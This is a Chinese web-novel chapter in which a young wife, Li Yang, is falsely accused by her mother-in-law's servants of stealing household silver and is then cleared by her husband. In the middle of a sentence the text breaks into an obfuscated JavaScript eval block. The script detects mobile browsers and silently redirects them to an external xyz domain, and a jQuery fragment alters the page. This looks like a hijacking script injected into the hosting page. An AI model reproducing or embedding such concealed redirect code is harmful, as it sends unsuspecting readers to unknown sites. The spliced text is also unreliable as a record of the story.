“放开我!”
双手被人反剪着跪坐于地,黎阳坐又坐不实,跪又跪不直。她一双手被拧着抬高,肩膀又被按住向下,死命抬起的脖子酸痛,拉扯得肩膀左右摇摆。
“放开我!你们干嘛啊!放开……”
好酸,好疼,身后的人力大如牛,拧得她肩膀疼,胳膊疼,腰也疼。
桌旁坐着的姜衣妇人,先前进门时背着光,只黢黑黢黑的轮廓依稀。现下瞧着,那张脸活似画在了鹅蛋上,雪雪白的脸皮子上,颜色分明,黛色的眉,灰黑的眼,浅浅的腮,深红的唇。
身旁站着一绿衣嬷嬷,笔筒一样的身形,粗粗圆圆,笔笔直直,不声不响。
一旁,便是那先前领头进屋的丫头,着一身嫩黄,小小的脑袋昂得高高的,双颊红扑扑,正将桌上的篮子向着妇人一推。
真丝帕子轻轻拂过妇人鼻尖,她几不可见地一蹙眉,鼻尖跟着一皱,牵得整只鹅蛋似被人捏了一般。
立刻,那绿衣服嬷嬷由妇人后闪过,一双手扒拉着篮子内的物品。
“夫人,共,额,一锭银子,还有,铜板……几十串,约五十三四两……”
绿衣嬷嬷扭了一下腰,或者是屁股,便将手中挂着的那串铜板甩回了篮子里。
“别动我铜板!”,黎阳急了,一个蹬腿,就想蹿上来,还未起,便被人拖住。
天杀的,这陈府的丫头怎生得这般力大如牛。
甩不开,她甩不开,身后的丫头呼哧呼哧地冲着她脖子喷热气。
干嘛呀!这是要干嘛呀!不许动那些铜板!
一旁的丫头叽叽喳喳开口:“少夫人,您今儿个是人赃并获,劝您一句,快些交代了吧!平日里您在这屋里一呆就是半天,一天到晚地‘哦,小银子’,‘哦,小铜板’,喊了个没停,满院子下人可都听得清楚!如今,如今,如今是人赃并获!”
“交代什么?放开,唉呀,放开我!你们搞错了!”
那丫头的声音如鹦歌,起起伏伏,叽叽喳喳,竟将她平日里那些话语,学了个活灵活现。
黎阳兀自一惊,自以为平日里锁着门便万事大吉了,谁会想到这大户人家也隔墙有耳啊!一想到,可能由于自己的粗心大意,这些铜钱或早就被人偷了,她几欲落泪。
“少夫人,您今儿个都被拿赃了,偷拿了宅子里的钱银,还想抵赖不成?!”,粗壮的蒜味直冲脑门。
“就是,就是,少夫人,您今儿个都被拿赃了,偷拿了寨子里的钱银,还想抵赖不成——。”
鹅蛋脸妇人向后微仰,一双眼自下,向左,向左,向上,瞟了一下。微一呼吸,又阖上,阖着,抬起,缓缓出声道:“你虽身份低下,可既入我陈家,自当恪守本分。怎可,监守自盗,我陈家断断是容不下你这般行为不规矩之人。”
语毕,捏着帕子一掩嘴角。
“没有!没有没有没有没有!那是我的钱,我自己的钱,我没有!”
黎阳此刻明明喊得很大声,却发不出声音,挣扎得很用力,可动不了手脚。
她们一人一句,没人听她说些什么,她们一人一只手按住她,不让她站起来。
方才,便是那采青丫鬟领头进了屋里,不知她喳喳喳喳叫了什么。之后,只听蒜苗一声呼喝,便有好几个丫鬟如猛虎般扑了进来。妇人坐着,蒜苗站着,鹦鹉飞来飞去,几条猛虎上蹿下跳。最后,也不知怎地,她的篮子被拎了出来。
她只觉得晕头转向,好像这个人说了句什么,那个人又说了句什么。喳喳喳喳,哞哞哞,轰——她就被按地上了。
“我没有!放开我!”
黎阳砰一下就要跳起,无奈双手反剪着,一屁股砸在了地上,后背还向后斜着。
尾巴处生疼生疼。
疼!疼疼疼啊,疼疼疼疼,疼疼疼,疼~~~~
“母亲!”,忽然,一道男声自身后传来。
“柏儿,你怎回来了。”,妇人坐着,抬眼笑得温和。
“方才得了章大人的信,要去章府商讨大事,儿子回来准备挑些礼物。”,男人一席白色长衫,清风霁月,跨步入内,不缓不急。
“母亲这是?”
此刻黎阳正眼角挂泪,扭着身子,不停和身后俩虎妞较着劲。她觉得自己,活似鲤鱼打挺,突突的跳个不停。
身后俩虎妞不管不顾地抓着,按着,压着她这位少夫人。
男人向她瞧了一瞧,蹙眉转向那妇人,似是不解。
陈母捏起帕子擦了擦鼻尖不存在的汗,只别过一双眼去。一旁的丫头抻直了身子正要开口,孙妈妈一把按住她,高声道,“回少爷,有丫头禀报,你这新,少夫人,整日里锁屋子里,数钱,似是偷拿了宅子里的钱银。”
“没有……”
妇人捏着帕子的手搁在了桌子上,正巧碰上了篮子,蹙了蹙眉看向门口站着的男子。
“我没有……”
男人顺眼瞧了瞧那篮子,又瞧了瞧黎阳,“这是你藏的?”
“我的钱!”,黎阳居然找了个蹲着的姿势,虽说蹲得不伦不类,倒不至于太狼狈。她语气异常坚定,一使劲,腹腰处更觉酸痛。
男人朝着篮子里又瞧了瞧。
孙妈妈道:“少爷,共是一锭银子和几十串铜板,五十几两。”
男人抬眉看着孙妈妈,后者点了点头。他又看向坐着的妇人,那妇人抿着唇角,也是点头不语。
男人又看回那篮子,不语。
片刻,只听他深叹道,“少夫人进府以来,每月的月例银子合计当不止这五十几两,怕是误会了。”
“少爷!她分明——”,鹦鹉跺着脚,竟叹出了一个高升的调子,蒜苗白了她一眼。
“什么,五十几两月例银子?!”与此同时,黎阳也叹出一个高调。
五十两啊!那可是她全付身家,原来她可以在陈宅领月例银子。那还真是,不劳而获!
好像被人触发了机关一般,竟让她甩脱了一个虎丫头。黎阳此刻好想扒住陈均柏的脸,一口气问个明白,多少钱?去哪里领?几时候领?会涨月例吗?
男人朝她身后二人挥了挥手,黎阳便冲了过去,扶着桌子站稳,双眼切切地盯着男人。她倒也晓得屋内众人都在,克制着自己。
“是啊,你既然嫁入陈家,自是有月例银子。你不知道吗?”,声音好听得像长街上的冰糖葫芦。
“不,知,道,啊!去哪里领啊!”
“咳咳,既然柏儿这么说,那便,应当,是少夫人的私房钱了,许是下人搞错了。”,妇人皱眉垂眼,起身欲走。一众人跟上,蒜苗扶着,鹦鹉随着,虎妞……
黎阳见状,狠狠瞪了一眼那颗蒜苗,方才她几次对着铜板下手。黎阳打算明天把所有铜板都洗过,臭烘烘的,晦气!
“唉,你方才说我有月例银子,是怎么回事,我还能领银子吗?每个月到底是多少银子呀?去哪儿领银子啊?”,那些人刚走,黎阳就心情大好地对着陈均柏挤眉弄眼地。
“东西都收了吧,今后你若是缺银子,可与我说。”
啊?懵头懵脑。
“什么?”
黎阳搭着话,边自顾小心翼翼滴摆好了篮子底下垫的蓝布,摆正了那串被蒜苗碰过的铜板,盖上了布。她捧着篮子,喜滋滋地往床头走去。
她的篮子都装满了,过几日要去镇上换成碎银子。还有月例银子呢,他说是每个月二十多两,那攒几个月,又能换个银元宝了吧。
“堂堂少夫人,几十两银子,闹得这般……”
“不怪我啊!我好好地在屋里数钱,是她们自己扑进来的啊。”,摆正了篮子,又正了一下,黎阳回过身便朝着男人摊手,她好冤的哇。
男人不语,自顾找东西。
“喂~真的不怪我啊。”
黎阳伸头去探男人身影。
“喂……!”
怎么不说话,这人真是。
“喂!”
忽而!
“你,你和她们一样,觉得我偷钱了?!”,黎阳不是询问。
男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710632|173636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不语。
沉默似是一条棍子,捅了马蜂窝,嗡嗡嗡,震得人脑仁发涨,眼睛发涨,鼻子发涨。
“陈均柏,这是我的钱,是我自己的钱,不是你陈家的钱!你说话,你干嘛不说话,这是我自己的钱,我一个铜板一个铜板攒起来的!你说话!你是不是觉得这钱是我偷的!”,刚才摔疼了沁出的泪已经干了,扯住了眼角有点发痒。
“据我所知,成婚之前,你经营的馄饨铺子,生意很一般。”,陈均柏索性停下,回身看着她。
“陈均柏!”
黎阳不干了!
“是!我的馄饨铺子很一般!你陈少爷了不起!这就是我起早贪黑!一个铜板一个铜板攒的!你瞧不起谁啊!你凭什么瞧不起我!”
陈均柏看了她一眼,不语,拿了东西便要走。
“你别走!”,黎阳一把抓住他的袖子,“你说清楚!”
陈均柏被她一把扯住,顿住,吸气,回头定定看着她。
黎阳也牢牢盯着他,誓不罢休。她一张小脸上,方才散了的发丝根根贴在额前,贴在她拧着的眉头,拧着的眼角,拧着的鼻子,拧着的嘴角,眼眶渐渐发红,好似马上要拧不住了一般。
“我有事,回头再说。”,陈均柏叹了口气,便扯出了袖子,走了。
唉?喂!
混蛋!混蛋混蛋混蛋混蛋!混蛋!
与此同时,宝墨堂中此刻也是一片闹声。
砰!
“蠢货!你这蠢货!我竟然听了你这蠢货的话!”
陈张氏标志的鹅蛋脸上脂粉轻扫,一双柳叶眉要蹙不蹙,凤眼微微下倾,细长雅静,生得是端庄秀丽。只眉间川字纹刻着,又一副薄唇,嘴角向下,扯到了鼻子,两侧的脸倒挂着簌簌发颤。
“这便是你说的,少夫人偷盗银子?!今日你可是让我在那丫头面前耍了好一通威风呢!”
妇人双唇颤颤,一双凤眼此刻正欲喷火。一旁,孙嬷嬷不停替她抚着后背顺气。
采青此刻全没了方才鹦鹉一般的雀跃,跪在下方。脚边茶盏的碎片,蹦到了手背上,又弹开了,“夫人息怒,夫人息怒,今日,今日也算得上是人赃并获,若不是少爷,若不是少爷袒护她,今日便可将那女人扭了逐出去……”
“住嘴吧!你这蠢货,真真是愚蠢至极!空长了一个脑袋当是摆设么!”
“死丫头!不过就是几十两银子,你当是什么,少夫人似你贱蹄子一般眼皮子浅薄吗!你没听少爷说了,少夫人的月例银子就不止几十两银钱!蠢货,闹得这样大,结果就几十串铜钱!你当夫人好糊弄呢!还敢说少爷,少爷也是你说得——”,孙妈妈一张嘴,噼噼啪啪,一伸手噼里啪啦几个巴掌甩了上去。
“可,夫人,那女人篮子里还有银子的……”
“你是猪脑子吗!”,陈张氏气竭,一掌拍出,桌上砰砰乓乓一阵作响。
孙妈妈道,“她一个少夫人,你拿着几十两银子的事来告发,亏得我们还信了你,领了一屋子的下人过去拿人!你当是人人如你这般眼皮子浅薄,今日不打死你——”
“夫人息怒!夫人息怒!是,是我错了!下回,下回我一定注意!”
“还有下回!过了今日,呵呵,你以为你还能进得了兰馨阁。你那脑子里,怕不是灌得都是水吧!”
陈张氏气急,原想着能拿了黎阳私藏银钱的赃,便可将其逐出府去,与儿子断了亲。凭着陈家的地位,哪怕是二婚,有的是富家千金趋之若鹜。她黎阳一个馄饨小妹,何德何能,可以嫁给她儿子为妻。
“夫人,夫人,我,我有一妹妹,也在兰馨阁。她,她定能,定能助夫人!”,采青这回,抖得如筛糠一般,双手撑地,砰砰砰地用头撞地,“求夫人再给我一次机会,我一定,一定……”
孙嬷嬷不住地替陈张氏顺着气,二人愤愤盯着面前的丫头。
“夫人,再给我一次机会,夫人,再给我一次机会……”,采青竟带起了哭腔,一颗脑袋用力砸向地面,谁都未曾瞧见她藏在眼底的怨毒。